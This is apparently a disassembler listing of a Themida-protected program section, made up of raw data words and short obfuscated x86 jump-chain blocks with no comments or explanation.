dd 5D786950h, 4EC81h, 1C890000h, 2D34E924h, 34FF0000h
dd 0E4F1E924h, 0D8280000h, 0C7045Bh, 66C72CF8h, 3BB753h
dd 0F790E9F8h, 34FFFFFFh, 2434FF24h, 582434FFh, 8304C483h
dd 895204C4h, 4C281E2h, 81000000h, 4EAh, 24148700h, 101E6E9h
db 0
; ---------------------------------------------------------------------------
loc_563181: ; CODE XREF: Themida_:00575DD6j
push edx
push dword ptr [esp+4]
mov edx, [esp]
push 5031h
jmp loc_565141
; ---------------------------------------------------------------------------
db 89h
dd 0CA68240Ch, 0E9000030h, 2336h, 89CB8953h, 34FF5BDDh
dd 2434FF24h, 11449E9h, 81E28900h, 4C2h, 4C28100h, 87000000h
dd 0E95C2414h, 7795h, 48BC229h, 0C490E924h, 0FF5A0000h
dd 3C8B2434h, 4C48324h, 0F23BE951h, 66AC0000h, 32FFE953h
dd 248B0000h, 24D36624h, 4BE99C24h
db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5631F7: ; CODE XREF: Themida_:00572BD7j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_56DA79
; ---------------------------------------------------------------------------
dw 0C789h
dd 1102FE9h, 68585400h, 76F5h, 68240C89h, 3367h, 56240489h
dd 0F53719BEh, 1EE94E06h, 0E9000103h, 0FFFFDE0Eh
; ---------------------------------------------------------------------------
loc_563234: ; CODE XREF: Themida_:00570CCDj
add esp, 4
jmp loc_564EEB
; ---------------------------------------------------------------------------
loc_56323C: ; CODE XREF: Themida_:005682FCj
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_567738
; ---------------------------------------------------------------------------
dd 0FE5BDE88h, 75EE80C6h, 80B7C680h, 0C68023F6h, 0DDF68001h
dd 0FEEBF680h, 0CAB753C6h, 0E7C0C7FEh, 19C78007h, 764BE9h
dd 5E6C100h, 0E05AC681h, 0F089286Dh, 0C189515Eh, 5859CF89h
dd 2528E9h, 24348700h, 2424895Ch, 4240481h, 0FF000000h
dd 2C8B2434h, 4C48324h, 4C481h, 0C5810000h, 4, 2DE06850h
dd 3DE90000h, 890000FCh, 0EC832434h, 24148904h, 327928BAh
dd 0F7E95750h
db 0EAh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5632CF: ; CODE XREF: Themida_:005740F2j
not dword ptr [esp]
pop edi
jmp loc_56BD33
; ---------------------------------------------------------------------------
loc_5632D8: ; CODE XREF: Themida_:0056FC79j
or edi, 72970BB2h
xor edi, 7BBF39FAh
jmp loc_575BF7
; ---------------------------------------------------------------------------
aM0SK db '¬0ØéΪ',0
dd 28BB6800h, 4890000h, 5D545524h, 4C581h, 0ED810000h
dd 4, 0E9242C87h, 0FC72h, 0C781E789h, 4, 4EF81h, 3C870000h
dd 34895C24h, 7E685224h, 5A68222Fh, 0CB685750h, 8B1DB740h
dd 0DCE9243Ch, 1000006h, 0AAEE81D6h, 0FF2D0549h, 835A2434h
dd 7A6804C4h, 0E9000054h, 0A216h, 0E92C77FFh, 0FFFFDCE6h
dd 0F2B551h, 0AEE959E8h, 870000E8h, 95E9242Ch, 0BE0000BFh
dd 4, 348BF701h, 4C48124h, 81000000h, 4C7h, 243C8700h
dd 8BCA895Ch, 0EC81240Ch, 4, 54243489h, 4B8505Eh, 1000000h
dd 0C68158C6h, 4, 0E9243487h, 22EFh, 1BF2814Ah, 1238000h
dd 0EC815AD7h, 4, 68242C89h, 4, 7489E95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5633CE: ; CODE XREF: Themida_:0056FD0Cj
push ebx
push 31F41F9Ah
mov ebx, [esp]
sub esp, 4
mov [esp], esi
push 1A86h
mov [esp], esp
add dword ptr [esp], 4
pop esi
add esi, 4
jmp loc_5650E3
; ---------------------------------------------------------------------------
a_hdu db '_h¤U',0
align 2
aSai db '逛',0
dw 8900h
dd 0A2B7E9FEh, 3EB90000h, 0F737AE3Dh, 162FE9D1h, 0CF890001h
dd 4DE95D57h, 68000087h, 71B609FDh, 58C30958h, 0FFDE20E9h
dd 245401FFh, 0FD9CE908h, 0C781FFFFh, 0EAF61FC3h, 0E95FFD89h
dd 0DC1h, 5BBB951h, 0D9F769B1h, 13ABC181h, 0D1F77EA8h
dd 7455E981h, 0C1815E8Ch, 7383824Ah, 7D24C681h, 0C6812646h
dd 2FBC0268h, 0EE81CE01h, 2FBC0268h, 7D24EE81h, 81592646h
dd 4ECh, 24148900h, 4BAh, 5AD62900h, 8B243487h, 1C892424h
dd 2474FF24h, 241C8B04h, 0E0F2E9h, 2434FF00h, 4C4815Dh
dd 0E9000000h, 4420h, 0E904C483h, 0A52Fh, 0BE243489h, 0EDBAC1D9h
dd 4A89B951h, 0CD0114B6h, 56F50159h, 0F2421CBEh, 1DF68129h
dd 815DCB78h, 8F7088F6h, 8EBBE960h, 370D0000h, 0E9458978h
dd 8628h, 271E281h, 0E2C17DC1h, 1AF28107h, 57450771h, 8E475DBFh
dd 0BF57510Fh, 3157450Ch, 3C8BF989h, 4C48124h, 0E9000000h
dd 9CCEh, 0AFE9F32Ch
db 8Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56351F: ; CODE XREF: Themida_:005696BAj
push 2981h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_576265
; ---------------------------------------------------------------------------
dd 52242C89h, 1994E9h
db 0
; ---------------------------------------------------------------------------
loc_563539: ; CODE XREF: Themida_:00561453j
add esp, 4
jmp loc_561042
; ---------------------------------------------------------------------------
loc_563544: ; CODE XREF: Themida_:00572CC3j
xor ah, bl
pop bx
push ebx
mov bl, ah
mov cl, bl
pop ebx
jmp loc_56E20E
; ---------------------------------------------------------------------------
db 0BBh
dd 57EF366Ah, 0E3C1DBF7h, 1A56E903h, 1E680000h, 8900005Bh
dd 58542404h, 405h, 40500h, 0DAE90000h, 0C100003Dh, 673506E8h
dd 29000DF5h, 2434FFC3h, 4C48358h, 0FFDAB1E9h, 4C483FFh
dd 3302EB83h, 24E9241Ch
db 37h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56359F: ; CODE XREF: Themida_:00571DC1j
pop eax
push edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_576121
; ---------------------------------------------------------------------------
aAAai db '€Ãa€ë`',0
db 0C3h, 80h, 0C3h
dd 98B15160h, 0D986C9FEh, 823EE9h, 0BEB95100h, 81258A53h
dd 0CC7D5BE9h, 6E1C12Ah, 19E98141h, 0E926DB39h, 0AA05h
; ---------------------------------------------------------------------------
loc_5635E8: ; CODE XREF: Themida_:0056D23Dj
xchg ecx, [esp]
pop esp
mov [esp], ebx
mov bh, al
push edx
push ecx
mov cl, bh
mov dh, cl
pop ecx
push ebx
mov bl, dh
push edx
mov dl, bl
mov ch, dl
jmp loc_562692
; ---------------------------------------------------------------------------
db 5Ch, 89h, 0Ch
dd 87CBB924h, 0CE0111FFh, 87C58159h, 110E040h, 4DB951F5h
dd 0E905C51Fh, 0CBADh, 4BF57h, 0F9010000h, 4C1835Fh, 5C240C87h
dd 40D7EF81h, 52563EC0h, 685F5068h, 94E95A2Bh, 81FFFFF1h
dd 4E9h, 240C8700h, 102ADE9h, 5EF53100h, 1F42E981h, 0E9016908h
dd 8859E9h, 65EE8100h, 8140B805h, 0E2711FEEh, 81EE015Eh
dd 0E2711FC6h, 65C6815Eh, 0FF40B805h, 835D2434h, 756804C4h
dd 89000036h, 73E92434h, 0FF0000F8h, 83582434h, 33E904C4h
dd 5C00002Ah, 5C240C87h, 0FF2434FFh, 68592434h, 783Ch
dd 89243489h, 7075E9E6h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5636BA: ; CODE XREF: Themida_:00562456j
push esp
jmp loc_571C5A
; ---------------------------------------------------------------------------
loc_5636C0: ; CODE XREF: Themida_:005641E4j
pop esi
and eax, edx
pop edx
or edx, eax
shl edx, 1
push 106h
jmp loc_569E05
; ---------------------------------------------------------------------------
dw 2C89h
dd 78D1BD24h, 6C816B86h, 21F40424h, 6C01777Dh, 44810424h
dd 21F40424h, 2C8B777Dh, 4C48324h, 0FFEE8AE9h, 8DBD55FFh
dd 0E9406123h, 0BAE9h
; ---------------------------------------------------------------------------
loc_563704: ; CODE XREF: Themida_:0056EEE5j
mov edx, eax
pop eax
jmp loc_56956E
; ---------------------------------------------------------------------------
loc_56370C: ; CODE XREF: Themida_:0056F7E8j
shr edx, 4
add edx, 1
shr edx, 3
push ebp
mov ebp, 53633AFBh
not ebp
inc ebp
push ecx
mov ecx, 5D707A8Ch
add ecx, 4CFB1A1Dh
jmp loc_570FC6
; ---------------------------------------------------------------------------
aZSbf db '‡,$éF',0
align 2
dw 0EE81h
dd 0B4BDB6FFh, 0B5E9F029h, 52000097h, 0A89BD55h, 3CBA26FAh
dd 1E3AAD9h, 0D7315DEAh, 0F8B9515Ah, 815F6004h, 0F09958E9h
dd 25FAE9E4h, 248B0000h, 24040124h, 0D8CCE99Ch, 0BE56FFFFh
dd 2DE755A0h, 8895E9h, 4C48100h, 8F000000h, 248B2404h
dd 0EA8AE924h, 0C481FFFFh, 4, 0D579312Dh, 0E9F0290Ch, 309Ch
dd 66451CBAh, 8F2815Eh, 0E92F7049h, 0AFF4h, 0DC33E954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5637BA: ; CODE XREF: Themida_:0056A0ACj
push esi
mov esi, 5A4E4402h
sub edx, esi
pop esi
add edx, edi
add edx, 5A4E4402h
jmp loc_56B3B6
; ---------------------------------------------------------------------------
dd 0B2ADC781h, 0F8317BF4h, 3295355Fh, 0D635330Fh, 255E790Fh
dd 7CBA424Fh, 6D2F5605h, 58C3890Ah, 0A2F5E9h
db 0
; ---------------------------------------------------------------------------
loc_5637F5: ; CODE XREF: Themida_:0056813Aj
mov ecx, 4791DE58h
jmp loc_574142
; ---------------------------------------------------------------------------
loc_5637FF: ; CODE XREF: Themida_:005739E9j
shr eax, 8
shr eax, 6
jmp loc_56D3DE
; ---------------------------------------------------------------------------
dw 0C87h
dd 29665C24h, 0E99C2404h, 0FFFFD82Ah, 5107E954h, 0C0590000h
dd 0B55105E7h, 0C0C5FE68h, 0ED8006EDh, 59EF2806h, 0A1E9C7FEh
dd 5F000088h, 0F5259505h, 16EBE935h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_563842: ; CODE XREF: Themida_:00575793j
push 3D94h
jmp loc_571D18
; ---------------------------------------------------------------------------
dd 4C681h, 0B8500000h, 2, 48BC601h, 4C48324h, 0E9E28952h
dd 0F67Eh, 0B5E58158h, 686BB27Ah, 6039h, 0BB241C89h, 21A6B72h
dd 0FFFFC381h, 8E9FFFFh, 8BFFFFECh, 0C483240Ch, 0B9E6804h
dd 0A1E90000h, 0FF000004h, 20E92434h, 89000097h, 3C68242Ch
dd 54000061h, 8124048Fh, 42404h, 815D0000h, 4C5h, 0EC815000h
dd 4, 6DCCE9h
db 0
; ---------------------------------------------------------------------------
loc_5638C5: ; CODE XREF: Themida_:005623C7j
mov ecx, 3DB97D24h
jmp loc_567183
; ---------------------------------------------------------------------------
db 89h
dd 38E95AD6h, 81000126h, 70D73AEDh, 8E3BE9F6h, 74310000h
dd 15E90424h, 81000077h, 717E17C7h, 0F3BBE912h, 0E959FFFFh
dd 9241h, 4C381h, 0C3810000h, 4, 5C241C87h, 2D4EEB81h
dd 0EB81236Ch, 7E3E5B05h, 0C381FB29h, 7E3E5B05h, 2D4EC381h
dd 3C8B236Ch, 0E0895024h, 1019E957h, 0E95A0001h, 0FFFFEFA5h
dd 4877F581h, 0E981D01Dh, 12B75BC0h, 48E9B850h, 0D0F76F2Ah
dd 4EC81h, 4890000h, 240CFF24h, 73880558h, 0F3352AE7h
dd 0C12F8F47h, 0CB3503E0h, 29B0FE28h, 0C18158C1h, 7BDC0082h
dd 0E981E929h, 7BDC0082h, 4710E9h
db 0
; ---------------------------------------------------------------------------
loc_563981: ; CODE XREF: Themida_:0056474Cj
mov edi, esi
pop esi
jmp loc_5707D0
; ---------------------------------------------------------------------------
db 59h, 68h, 0
dd 0E9000000h, 619Ah
; ---------------------------------------------------------------------------
loc_563994: ; CODE XREF: Themida_:0056B107j
xchg ebx, [esp]
pop esp
mov [esp], ecx
push 736E0A67h
push dword ptr [esp]
pop ecx
push edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edi
add edi, 4
sub esp, 4
mov [esp], esi
push 4
pop esi
add edi, esi
mov esi, [esp]
push eax
jmp loc_57424C
; ---------------------------------------------------------------------------
loc_5639D3: ; CODE XREF: Themida_:0056D1B9j
push 4
pop eax
sub edi, eax
jmp loc_574B9E
; ---------------------------------------------------------------------------
dd 242C8759h, 240C895Ch, 8904EC83h, 7E68241Ch, 5B701813h
dd 6D9FE9h
db 0
; ---------------------------------------------------------------------------
loc_5639F9: ; CODE XREF: Themida_:0056186Cj
neg ebx
add ebx, 9C1C6F05h
jmp loc_56EB1B
; ---------------------------------------------------------------------------
dw 0E957h
dd 12D0Dh, 3B4BE981h, 28E97E8Fh, 680000A3h, 2208h, 54241489h
dd 4C2815Ah, 83000000h, 143304C2h, 24143124h, 5C241433h
dd 0D629C781h, 0F8893E2Ch, 10C3DE9h, 0E9CB2900h, 83E4h
dd 2434FF58h, 0E924048Bh, 0FFFFDF8Ah, 8124148Bh, 4C4h
dd 0E9FE0100h, 0FFFFFC95h, 8E2C158h, 0FFFFEA81h, 3EE9FFFFh
dd 10000D3h, 34FF5BDDh, 2434FF24h, 3503E9h, 5BD90100h
dd 0FDE7E9h
db 0
; ---------------------------------------------------------------------------
loc_563A89: ; CODE XREF: Themida_:00565D57j
or eax, eax
jz loc_570D54
push dword ptr [edi+28h]
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
jmp loc_56B0DF
; ---------------------------------------------------------------------------
loc_563AA2: ; CODE XREF: Themida_:0056AEA7j
mov edx, [esp]
push ebp
mov ebp, esp
jmp loc_56913C
; ---------------------------------------------------------------------------
db 5Bh, 4Bh, 0C1h
dd 0B85005EBh, 3AC1ED0Dh, 8958C331h, 0B9E95BDAh, 5100012Dh
dd 0C85B55B9h, 5CC1817Eh, 819A81DEh, 0E852CAEAh, 81CA0125h
dd 0E852CAC2h, 67E95925h, 83000021h, 48904ECh, 11176824h
dd 29587582h, 0E9042444h, 0FFFFFF50h
; ---------------------------------------------------------------------------
loc_563AF8: ; CODE XREF: Themida_:00573186j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push eax
mov eax, 17F313F3h
push eax
push 7A84h
mov [esp], eax
jmp loc_566287
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 4EC8324h, 89240489h, 0BCE951E0h, 0C10000D9h, 3BE905EFh
db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563B33: ; CODE XREF: Themida_:00567EB1j
mov edi, ecx
mov ebp, edi
jmp loc_5700BA
; ---------------------------------------------------------------------------
dd 1203EE81h, 0DE014393h, 1203C681h, 0EE814393h, 5AB42756h
dd 51241C8Bh, 0C181E189h, 4, 4C181h, 0C870000h, 0FF565C24h
dd 0FF042474h, 565E2434h, 0C681E689h, 4, 5AE1E951h, 80580000h
dd 0D1F6A1E9h, 6AE9D9F6h, 8100007Ah, 6E39A9C7h, 5FFA293Fh
dd 69E5E9h, 2EEC100h, 0E902EEC1h, 37DBh, 212B850h, 68570485h
dd 2F7F0B3Bh, 0E9243C8Bh, 0B78Dh
; ---------------------------------------------------------------------------
loc_563BB8: ; CODE XREF: Themida_:00569D32j
push dword ptr [esp]
jmp loc_566BEA
; ---------------------------------------------------------------------------
loc_563BC0: ; CODE XREF: Themida_:00568D12j
mov [esp], ecx
push esi
mov esi, 1A05ACBh
jmp loc_5721EE
; ---------------------------------------------------------------------------
dw 0F681h
dd 17EA4C7Fh, 348BF201h, 4C48324h, 8124048Bh, 4C4h, 0C0CCE900h
dd 0C2810000h, 4B5F4C04h, 0DE9CA01h
db 88h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_563BF7: ; CODE XREF: Themida_:00565694j
pop ebx
add esi, eax
pop eax
and eax, esi
jmp loc_56B6D0
; ---------------------------------------------------------------------------
aZsV db 'Zé±V',0
align 4
a3Sn db '3,$\éN»',0
dd 2474FF00h, 24148B04h, 4C481h, 48F0000h, 34895C24h, 2474FF24h
dd 92E95E04h, 10000B4h, 21A62DD0h, 0BE564E21h, 2CF33EEBh
dd 5D99E681h, 0BBE94365h
db 6Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_563C47: ; CODE XREF: Themida_:00570FC8j
pop ecx
and edx, ebp
pop ebp
or edx, 581847DAh
add edx, 76C1710h
add edi, edx
pop edx
add edi, edx
sub edi, 5F845EEEh
jmp loc_5766A9
; ---------------------------------------------------------------------------
db 81h
dd 280708EAh, 93E9425Eh, 0E9FFFFD5h, 0FFFFD3CAh, 8704C783h
dd 248B243Ch, 4C18124h, 83000000h, 0B4E904ECh
db 0C3h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_563C8F: ; CODE XREF: Themida_:00571A54j
pop eax
add esp, 4
push ebx
jmp loc_56912A
; ---------------------------------------------------------------------------
loc_563C99: ; CODE XREF: Themida_:00563D1Dj
pop edi
or eax, 55106584h
shl eax, 4
shr eax, 3
xor eax, 0FB4DBC8h
jmp loc_576B13
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4812434h, 4, 0E902C583h, 0FFFFFA72h
; ---------------------------------------------------------------------------
loc_563CC0: ; CODE XREF: Themida_:0056ADB0j
or esi, 793674BBh
sub esi, 6B955EDFh
add ebx, esi
pop esi
neg ebx
shr ebx, 8
jmp loc_5660AB
; ---------------------------------------------------------------------------
db 0F7h, 0D2h, 81h
dd 0BE196EE2h, 21F28101h, 0E97412A1h, 7BE4h, 835AC304h
dd 148904ECh, 4EC8124h, 89000000h, 0C1E9241Ch, 89000055h
dd 0B951241Ch, 325142A6h, 2511E9h, 0D32CE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563D16: ; CODE XREF: Themida_:0056A1E3j
add eax, edi
add eax, 70620F5h
jmp loc_563C99
; ---------------------------------------------------------------------------
dw 4BDh
dd 1000000h, 0F2D9E9EBh, 2BE0000h, 0E9000000h, 0FFFFE982h
dd 0BA241489h, 2D3325A8h, 5505EAC1h, 9773E4BDh, 1220E9E0h
dd 81550001h, 7CE42434h, 348B5EF1h, 4C48124h, 51000000h
dd 0FFD761E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563D65: ; CODE XREF: Themida_:0056C83Fj
add edi, 4
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
jmp loc_57672A
; ---------------------------------------------------------------------------
dd 54243489h, 4C6815Eh, 83000000h, 3C8904ECh, 4685024h
dd 8B000000h, 0C4812404h, 4, 89C38953h, 0AF2FE9DFh, 0C7830000h
dd 243C8704h, 21C3685Ch, 34890000h, 4BE24h, 0F3010000h
dd 241C335Eh, 0EF8BE9h, 4CB95100h, 31B2CBBCh, 0E95559CDh
dd 0D208h, 0F63CE957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563DDA: ; CODE XREF: Themida_:0056C4DBj
pop edi
jmp loc_5707C5
; ---------------------------------------------------------------------------
aIsS db '‰é]é',8,'Ê',0
align 4
dd 5D2434FFh, 4C481h, 0C7090000h, 0C8BE5658h, 31721C74h
dd 0F3E95EF7h
db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_563E03: ; CODE XREF: Themida_:00566B8Ej
or ebp, 7C342300h
jmp loc_5642E9
; ---------------------------------------------------------------------------
loc_563E0E: ; CODE XREF: Themida_:0056C251j
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_56CDF4
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 13E95724h, 66FFFFE0h, 0E9E0D05Ah, 0D7F8h
; ---------------------------------------------------------------------------
loc_563E30: ; CODE XREF: Themida_:0056B0EBj
push 10CEh
mov [esp], ecx
jmp loc_5677FB
; ---------------------------------------------------------------------------
db 81h, 0F7h, 1Ah
dd 0E925514Eh, 0FFFFD893h
; ---------------------------------------------------------------------------
loc_563E48: ; CODE XREF: Themida_:00564279j
add edx, 4
jmp loc_56D3F6
; ---------------------------------------------------------------------------
db 0BFh
dd 788E2799h, 10A7BE9h, 0B4E95900h
db 0E9h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_563E63: ; CODE XREF: Themida_:0056CD1Dj
add esp, 4
pop edx
jmp loc_5663F9
; ---------------------------------------------------------------------------
db 81h
dd 9E1ED0EDh, 84C5813Ah, 159A414h, 84ED81F5h, 8159A414h
dd 9E1ED0C5h, 2C335E3Ah, 242C3124h, 5913E9h
db 0
; ---------------------------------------------------------------------------
loc_563E95: ; CODE XREF: Themida_:0057245Cj
push ebp
jmp loc_57223C
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483242Ch, 0B361E904h, 59580000h, 5A2434FFh, 5004C483h
dd 0C288D888h, 55C5E9h, 9CCF8100h, 0E96C567Ch, 880Bh, 0E700C9B7h
dd 9BF0E9h
db 0
; ---------------------------------------------------------------------------
loc_563ECD: ; CODE XREF: Themida_:0056911Aj
xor ecx, [esp]
jmp loc_57206F
; ---------------------------------------------------------------------------
db 0C1h, 0E9h, 4
dd 1246E9h
db 0
; ---------------------------------------------------------------------------
loc_563EDD: ; CODE XREF: Themida_:00575F5Fj
add ebx, 4
jmp loc_56C9FB
; ---------------------------------------------------------------------------
loc_563EE8: ; CODE XREF: Themida_:005749AEj
xor [esp], edi
xor edi, [esp]
xor [esp], edi
xor edi, ebx
xor ebx, edi
jmp loc_5750D0
; ---------------------------------------------------------------------------
aXhys db 'XhYs',0
align 10h
aSi_0 db 'é›Ë',0
db 0
; ---------------------------------------------------------------------------
loc_563F05: ; CODE XREF: Themida_:00568C5Fj
xor edx, ebp
jmp loc_575225
; ---------------------------------------------------------------------------
dd 8B5DE829h, 0C481243Ch, 4, 0AEBA5250h, 0E91FFE18h, 0D090h
dd 9EE981h, 7CE933FEh
db 62h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_563F2F: ; CODE XREF: Themida_:005698B2j
add ebx, edx
jmp loc_561458
; ---------------------------------------------------------------------------
loc_563F36: ; CODE XREF: Themida_:005676F8j
push edx
push 6E18h
mov [esp], esi
jmp loc_571B6F
; ---------------------------------------------------------------------------
dd 78FEF181h, 680003h, 89000035h, 9E9241Ch
db 0E6h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_563F57: ; CODE XREF: Themida_:00568024j
mov [esp], ebx
push edx
push 45456FCBh
pop edx
sub edx, 687D002Ch
jmp loc_56FE41
; ---------------------------------------------------------------------------
loc_563F6C: ; CODE XREF: Themida_:005690F9j
pop esp
push edx
mov edx, 1B7F28BCh
shl edx, 2
add edx, 0B7F3C7B5h
add esi, 1F8B0A75h
add esi, edx
sub esi, 1F8B0A75h
jmp loc_574A13
; ---------------------------------------------------------------------------
db 57h
dd 0DDB7C1BFh, 8BF901D1h, 0EBE9243Ch
db 0C2h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_563F9F: ; CODE XREF: Themida_:005640ABj
mov eax, ecx
pop ecx
sub esp, 4
mov [esp], ebx
mov ebx, 51637C47h
push 7B91h
jmp loc_56E538
; ---------------------------------------------------------------------------
dw 0E95Eh
dd 146Dh, 2B60F66h, 119EAE9h, 0E9D30000h, 2E1Ah, 240C8B66h
dd 4EC81h, 0C890000h, 4EC8324h, 83242489h, 59042404h, 4C181h
dd 81550000h, 4ECh, 0FD09E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563FFA: ; CODE XREF: Themida_:0056D3F9j
pop esp
push eax
mov eax, 1EFE13FAh
shr eax, 7
jmp loc_5681E3
; ---------------------------------------------------------------------------
loc_564009: ; CODE XREF: Themida_:005761E0j
mov [esp], edx
jmp loc_575C8E
; ---------------------------------------------------------------------------
db 81h, 0C6h, 4
dd 83000000h, 348704EEh, 21E95C24h, 0C1FFFFEFh, 0EA2D07E0h
dd 0E90E4F28h, 64E8h
; ---------------------------------------------------------------------------
loc_564030: ; CODE XREF: Themida_:00566BB3j
xor edi, 9B0235Ah
add edi, 0D867E5CBh
xor edi, 4BC24448h
add ecx, edi
jmp loc_56CFF9
; ---------------------------------------------------------------------------
loc_564049: ; CODE XREF: Themida_:00566E9Dj
mov [esp], esp
jmp loc_566E7D
; ---------------------------------------------------------------------------
db 0BBh, 3, 4Ah
dd 0A6E93E78h, 810000F5h, 4C1h, 5C006800h, 2C890000h, 0D174E924h
dd 0B468FFFFh, 89000077h, 4812424h, 424h, 0C3A2E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_564082: ; CODE XREF: Themida_:005706CBj
add edi, 4
jmp loc_5740E3
; ---------------------------------------------------------------------------
loc_56408D: ; CODE XREF: Themida_:00575778j
mov [esp], ecx
push 5C487DA9h
pop ecx
push ebx
mov ebx, 44647C6Ch
sub ecx, 1E310BACh
sub ecx, ebx
add ecx, 1E310BACh
pop ebx
jmp loc_563F9F
; ---------------------------------------------------------------------------
dd 0B60F6664h, 0E7895702h, 3534E9h, 60BE5600h, 875DC50Ch
dd 87D5F7EEh, 81DEF7EEh, 0D17929EEh, 3BF68163h, 0F737D148h
dd 73BB53D6h, 814C7F7Eh, 28BBCDF3h, 0E9DE2982h, 70A7h
dd 438BC381h, 0C3817269h, 36112FDh, 5914C381h, 0C32978B5h
dd 2535BA52h, 0EAC17F6Ch, 81D2F702h, 54B1CE2h, 8EAC114h
dd 586EC281h, 0F0E9273Bh
db 0D4h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56411F: ; CODE XREF: Themida_:00561763j
push ebp
jmp loc_56B172
; ---------------------------------------------------------------------------
db 5Ch, 89h, 14h
dd 4EC8124h, 89000000h, 76BE2434h, 6879C04Ah, 490Dh, 68243C89h
dd 0
dd 0E9F7295Fh, 7FFEh, 24048B66h, 5A8C68h, 242C8900h, 9981E9h
db 0
; ---------------------------------------------------------------------------
loc_56415D: ; CODE XREF: Themida_:0056E3EDj
mov ecx, ebx
pop ebx
sub esp, 4
mov [esp], edi
jmp loc_56D41D
; ---------------------------------------------------------------------------
loc_56416E: ; CODE XREF: Themida_:0056CA2Dj
add edx, ebp
pop ebp
xchg edx, [esp]
pop esp
jmp loc_56C9F4
; ---------------------------------------------------------------------------
dw 8959h
dd 0EA815DEBh, 22F33B4Ah, 45FABF57h, 3DE970D0h, 830000E7h
dd 3C8904ECh, 3C8B5424h, 4C48124h, 56000000h, 0C681E689h
dd 4, 8704EE83h, 248B2434h, 55A7E924h, 87E90000h, 1FFFFCEh
dd 4CC8E9C3h, 0F2310000h, 79CEE95Eh, 18B90000h, 215B9F3Fh
dd 0EB8159CBh, 1B070714h, 35E9E9h
db 0
; ---------------------------------------------------------------------------
loc_5641DD: ; CODE XREF: Themida_:0056E523j
sub edx, 220D2A19h
pop ebp
jmp loc_5636C0
; ---------------------------------------------------------------------------
db 5Eh, 1, 0E8h
aRh db ']Rhœ',0
aUZbtknx?wBdqms db 'î{ZâªNX?W¿DŸMéÚÖ',0
dd 0DEA8100h, 16EC27Ah, 0DC281EAh, 8B6EC27Ah, 8953242Ch
dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 5D74E95Ch, 4330000h
dd 24043124h, 0FFCE09E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564239: ; CODE XREF: Themida_:0056D1C2j
mov cl, 7Fh
jmp loc_56EBD8
; ---------------------------------------------------------------------------
dd 405h, 4C08300h, 8B240487h, 0EFE92424h
db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564253: ; CODE XREF: Themida_:00562852j
sub eax, esi
jmp loc_576A29
; ---------------------------------------------------------------------------
loc_56425A: ; CODE XREF: Themida_:00562365j
pop ebx
jmp loc_56D80E
; ---------------------------------------------------------------------------
loc_564260: ; CODE XREF: Themida_:00566021j
pop eax
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push edx
mov edx, esp
push ecx
mov ecx, 4
add edx, ecx
pop ecx
jmp loc_563E48
; ---------------------------------------------------------------------------
loc_56427E: ; CODE XREF: Themida_:00566034j
mov [esp], eax
sub esp, 4
mov [esp], edx
push dword ptr [esp]
pop eax
push 42D6h
mov [esp], ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
jmp loc_56BD09
; ---------------------------------------------------------------------------
db 81h, 6Ch, 24h
dd 7830AA04h, 34FF5A1Eh, 8947E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5642BA: ; CODE XREF: Themida_:0056988Dj
add ebx, eax
pop eax
mov edx, [esp]
push 5233h
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, [esp]
jmp loc_562606
; ---------------------------------------------------------------------------
loc_5642DB: ; CODE XREF: Themida_:00564AEEj
xor ebx, [esp]
jmp loc_571FD3
; ---------------------------------------------------------------------------
aRsod db 'Réod',0
db 0
; ---------------------------------------------------------------------------
loc_5642E9: ; CODE XREF: Themida_:00563E09j
push edi
push ebp
push 75B62E0Ah
mov ebp, [esp]
add esp, 4
add ebp, 64E20AF2h
add ebp, 9544E952h
mov edi, ebp
jmp loc_57333D
; ---------------------------------------------------------------------------
dd 0A4C38158h, 590B6D14h, 652D68h, 241C8900h, 2028E9h
db 0
; ---------------------------------------------------------------------------
loc_564321: ; CODE XREF: Themida_:0056F9DBj
push 11C2h
mov [esp], ebx
jmp loc_570CBA
; ---------------------------------------------------------------------------
dw 0FF53h
dd 5B042474h, 14E3E9h, 24048900h, 67685854h, 0E9000073h
dd 0B7DBh, 51E9C788h
db 91h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56434F: ; CODE XREF: Themida_:0056E90Bj
push cx
